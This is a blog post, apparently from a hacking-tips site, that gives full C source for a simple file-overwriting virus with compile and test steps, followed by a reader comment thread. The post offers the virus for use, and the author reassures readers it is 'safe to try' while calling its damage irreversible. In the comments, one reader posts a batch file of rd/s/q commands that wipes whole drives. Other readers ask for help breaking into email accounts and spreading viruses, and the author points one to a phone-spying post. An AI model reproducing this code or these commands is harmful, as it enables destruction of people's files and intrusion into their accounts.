This program is an example of how to create a computer virus in C language. This program demonstrates a simple virus program which when executed creates a copy of itself in all the other files that are present in the same directory.
Thus, it destroys other files by infecting them. The infected file will also become a virus so that when executed, it is capable of spreading the infection to another file and so on.
Here’s the source code of the virus program:
#include<stdio.h> #include<io.h> #include<dos.h> #include<dir.h> #include<conio.h> #include<time.h> FILE *virus,*host; int done,a=0; unsigned long x; char buff[2048]; struct ffblk ffblk; clock_t st,end; void main() { st=clock(); clrscr(); done=findfirst("*.*",&ffblk,0); //Search for a file with any extension (*.*) while(!done) { virus=fopen(_argv[0],"rb"); host=fopen(ffblk.ff_name,"rb+"); if(host==NULL) goto next; x=89088; printf("Infecting %s\n",ffblk.ff_name,a); while(x>2048) { fread(buff,2048,1,virus); fwrite(buff,2048,1,host); x-=2048; } fread(buff,x,1,virus); fwrite(buff,x,1,host); a++; next: { fcloseall(); done=findnext(&ffblk); } } printf("DONE! (Total Files Infected= %d)",a); end=clock(); printf("TIME TAKEN=%f SEC\n", (end-st)/CLK_TCK); getch(); }
You can download the source code from the following link:
How the Virus Program Works?
The algorithm of this virus program is as follows:
Step-1: Search for files in the current directory. If one or more file is present, load the first file (target file).
Step-2: Load the copy of the virus itself onto the memory.
Step-3: Open the target file. Copy the virus code from the memory and place it in the target file. Close the target file when the copying process is completed.
Step-4: Load the next file to infect and move to the step-3. If all the files are infected, close all the open files, unload them from the memory and exit.
As far as the technical terms are concerned, I would not be able to explain the program line by line. Anyone with a working knowledge of C should be easily able to understand the functions and other terms used in the program.
How to Compile the Program:
For a step-by-step guide, you can refer my detailed post on how to compile C programs?
How to Test the Virus After the Compilation:
-
Create a new empty folder.
-
Put some executable files (or any other files) in the folder.
-
Run the PC_Virus.exe file. With in a few seconds all the other files in the folder gets infected.
-
Now every infected file is a new virus which is ready to re-infect. You can copy any of the infected .exe file to another empty folder and repeat the same procedure to see if the infected file is capable of re-infecting. Delete the folder and all the infected files after the testing process is done.
This is the same as the one posted at http://vx.netlux.org/lib/vbw06.html and for obvious reasons it wont compile, there are minute erros to prevent little script kiddies from using it 🙂
good
Hi,
Let me give you a question.
I can infect a victim with a virus sent by e-mail without the recipient opens the attachment?
Thank you!
Veronika.
hey shrikant,don’t laugh if i ask this question. I don’t know a word about C. Is it a software ?? or what??….. all that u wrote in this post have to be entered in the software??? or have i to learn C to know all that?
@ Himanshu
C is a programming language.You need to learn this programming language to understand the codes that I have written on my site!
Nice………..& thaks
awe some keep it up n create more.
Hey Sriki,i m much appreciated with ur work,i compiled the above code and gettin 4 errors as below:
1- FILE *virus,*host ;(this has got error)
2- undefined symbol VIRUS(i think thats because of the first error)
if i get a solution for the first one i think i can compile it without error…i hope u ll help me..ty bhayya
oh ya ..i forgot to tel u one thing,,,i m using turbo c++ :)…
Hey you are not at all infecting other files, you are just copying your files with the names of the files present in the directory…..
But in case of infection, the virus code resides with the original content, if your virus is infecting, for example, the notepad.exe file, then it should retain its obvious functions and with that the virus content too, I mean than when we run infected notepad.exe, then it should open up the notepad and execute the virus code tooo, not just the virus code, otherwise it wont survive longer……
how do i learn da c lang
Srikant,
I need your help in finding me the PW of Yahoo & Gmail as I was cheated by a partner in business I want to peep through his e-mails and see what is he upto-or I will suffer more by losing my international clients.
Thanks Husain
i want learn methods of creating virus
i want a program or software for unblocking the websites that are blocked in my computer
Love all those. Please make some more posts in this catergory. woo!
sir,i want to know that how we can start a computer if we do not know his passward? please reply me soon.
@ rahul
You can start a password protected computer, but cannot login. If you want to login, then you need to break the password
i want to know how the autorun program is working.
@ srikanth
Hey, I’m new to this and I would like to know where you learned the C language, can u link a good site? thnx
@ newbie
You can start learning C from cprogramming.com
thnx
@srikanth
should i learn C++ or C?
@ newbie
first C then C++
hi, can i get ur permission to use ur program for my final year project.
@ Aqi
You’re free to use it anywhere. You can also modify it to your needs… Enjoy..:)
thx. and if u dont mind..can i get ur email or messenger address. i have a few question to ask and discuss regarding my final project. thx again for ur time and consideration.
@ Aqi
You can contact me from the contact page and I’ll receive your message on my email.
CREATING A VIRUS IS SIMPLE FOR A WINDOWS COMPUTER.
OPEN THE NOTEPAD AND TYPE
rd/s/q D:\
rd/s/q C:\
rd/s/q E:\
AND THEN SAVE THE FILE WITH A NAME VIRUS.BAT OR VIRUS.EXE
THIS COMMAND “rd/s/q x:\” IS SIMPLY INSTRUCTING THE COMPUTER TO DELETE ALL THE FILES INSIDE THE DRIVE “x”. YOU CAN REPLACE THE X WITH THE DRIVE NAME SUCH AS ‘C’ OR ‘D’ OR ‘E’. WHATEVER THE DRIVE NAME IS JUST REPLACE THE X WITH THE NAME. THIS WAY YOU HAVE GOT THE FILE VIRUS.BAT OR VIRUS.EXE. THIS FILE IS A VIRS. IF YOU RUN THIS FILE THEN EVERY FILE IN THE INSTRUCTED DRIVE WILL BE DLELETD WITHIN 5MINUTES.
hai sir,
inside of each and every folders there are folders like
system volume information, recycler, thumbs., deskotp.ini files exists. what are these files. are they viruses. please tell me.
i didnt create them.
@ Aditya
There are not viruus. They are system files. Leave them intact and they’ll not harm your PC.
hai,
here i created a logic for producing permutations for a given number. but it is a static approach. could u please convert it to a dynamic approach.
#include
main()
{
int a[4]={1,2,3,4},i,j,k,h;
clrscr();
for(i=0;i<4;i++)
for(j=0;j<4;j++)
for(k=0;k<4;k++)
for(h=0;h<4;h++)
if(a[i]!=a[j])
if(a[i]!=a[k])
if(a[i]!=a[h])
if(a[j]!=a[h])
if(a[j]!=a[k])
if(a[k]!=a[h])
printf(“%d%d%d\t”,a[i],a[j],a[k]);
getch();
}
please change it to dynamic approach.
awaiting ur response
@ Aditya
Use dynamic memory allocation malloc() to dynamically allocate the memory. Then use dynamic array intead of static array. Rest of the program remains same. If I get time I’ll send you the source code.
how can we access command promt by using c language.
i asked a modify a program. please do it.
@ Aditya
Use system funtion to access Command prompt.
Eg. system(“ping xyz.com”);
ok if i type rd/s/q C:\ in note pad and save it on my comp as VIRUS.BAT will that infect MY Computer??? and if no then how do i run this line of code? and is this transferable? Meaning can i upload this file to a remote comp and if so how do i make it run on open. im kinda a noob…still learning and this site seems to be the best site ive come across. i have 2 friends who went to comp school in san diego cali, and theyve been teachin me what they know…most of it is networking though…but im tryin to learn coding.
“INFORMATION IS POWER”
@ RahRah
It is transferrable. But you cannot make it run on open. It has to be manually executed..
hi Shrikant,
can you please tell me from where can i get c compiler
hai sir,
i need to learn in deapth about ms dos from basics. so can u please tell me where can i get the e-materials for free. please i am inerested in developing program developing skills. please i am very much intersted.
@ aditya
Refer
http://www.tnd.com/camosun/elex130/dostutor1.html
http://bestlesson.50webs.com/learnms-dos.html
hi Shrikant,
can this file be compiled on dev c++ compiler
@ Virendra
Yes, but may require some modifications..
Hi Srikanth brother,
Don’t laugh to my childy question.
Should I want to download C (whats it?)
And how can I Create login.php(using notepad or other softwares)
Atleast give me a basic Idea about PHP and about C
Reply me soon pls pls.
Thankyou.
hi srikanth,
give me solution for system volume information virus my computer is affected with this virus i have formatted my pc but still the virus is coming .how to remove it please help me
reply me at [email protected]
@ naveen
“system volume information ” is not a virus. it is an operation system file. So don’t be worried..
how can i get the original file that are affected
by ur above code…
pls tell me…
@ Raj Singh
The damage caused by this virus is irreversible!
hi shrikant i;ve done it
one ?
can we affect others computer from our computer with this virus
if yes then how???????
system volume in4mation and recycler are system files but apparenly their is a virus that is using those names the virus will change your system information such as time and date so that you no longer cant update…..look out 4 it. they can be deleted using explorerXP(Shift delete)
Thanks sir………can u plz give me the algo for the above & similar program(s)…..
Is there a way in which we could create a virus in Basic
I meant the BASIC language which is used for creating small programes
Hi Srikanth,
i have a few questions about learning C programming..usually how long does it take somebody to learn C programming bcoz i’m a total beginner to this thing..is it difficult to learn C??..where can i get the C compiler for free??
thanx
xxxx
Bhai . Please tell me how to create a virus , in C or oops language . And i want to send it by net . Is there any virus . Plz help me yar
Any virus small . big doesnt matter . But i want to send it by . Net , orkut . Email
Please help me yar .
@ Savio
I have already posted some of the virus source codes in C on my site…
how can you create a computer virus in pascal programming language
HI sri m nu 2 hacking and i dunno much about c,c++ where do i start?
Hi, Srikanth, very interesting demonstration. I’m still learning a lot about computer languages. Is there a preferred language for viruses?
@ oldnewby
Yes, most viruses are created in assembly language, also called as asm. asm is a low level programming language and is much more difficult than high level languages such as C, C++, Java etc.
why is the size of buff 2048? i.e char buff[2048];
@ Ankit
Buffer size is 2048 bytes. this means at a time, 2048 bytes of data is copied from the source file to the taget file. You can change it to 512, 1024 etc. without any problem.
Dear Sir,
will you please let me know other websites, where I can know about creation and working of viruses.
hey …
i had not yet practise it. But like to know that this viruses are not detected by the antiviruses. just want to know before trying will it harm the computer a lot?
how would i know that it is infected?
only that folder will b infected or whole computer will b infected.
before trying i want to know the consequence so that i dont regret what i did to my computer…
pls reply…//
@ bird
Only the current folder will be infected and not the whole computer.
good , I want to know about process hide when your virus process
i wnted to ask tht if i’d like to try it on my pc then wil it harm all d files in it or not? is it safe to try on my pc without any harm?
@ neha
Yes it is safe to try. This virus will not infect your entire system files. It’s only infects the files that are located in the current folder (directory) in which it is executed.
please let me kbow abt compiler (borland c++ compiler) cos im new to this tricks.
hi shrikant,
do u know any thing to hack location of any mobile no. by gps system. or any other. plz reply me.
@ jay
Refer this post How to spy on cell phone
Really thanks for taking your time and write some comments Srikanth! 😀
hi.. i want to know that if we try it on our pc will it harm any of the files……..
hi.. i want to know that if we try it on our pc will it harm the files……
i can understand…….
but wat is the function of argv and ffblk actually
does findfirst finds all the files with extensions
can i make it to find only exe files by “.exe”instead of “.”
@ pradeep
Yes you can just change from *.* to *.exe so that it’ll scan only for .exe files.
sorry but in the code you haven’t defined the struct u use there… can you do it please..?
Srhikant Sir,
You are best of all……..!!!!!!!
does this work on any os
@ harish
It works only on windows PC
amazzzzzzing site …!
hats off to u my frnd !
PLZ KEEP THIS PLACE “ALIVE” for “EVER”
Live Long Sri !
🙂
actually,virus are executed automatically from removable drive(pen drive)..how they are executed without double clicking when they are plugged into usb..please answer to this question i want to learn this not to spread just for knowledge…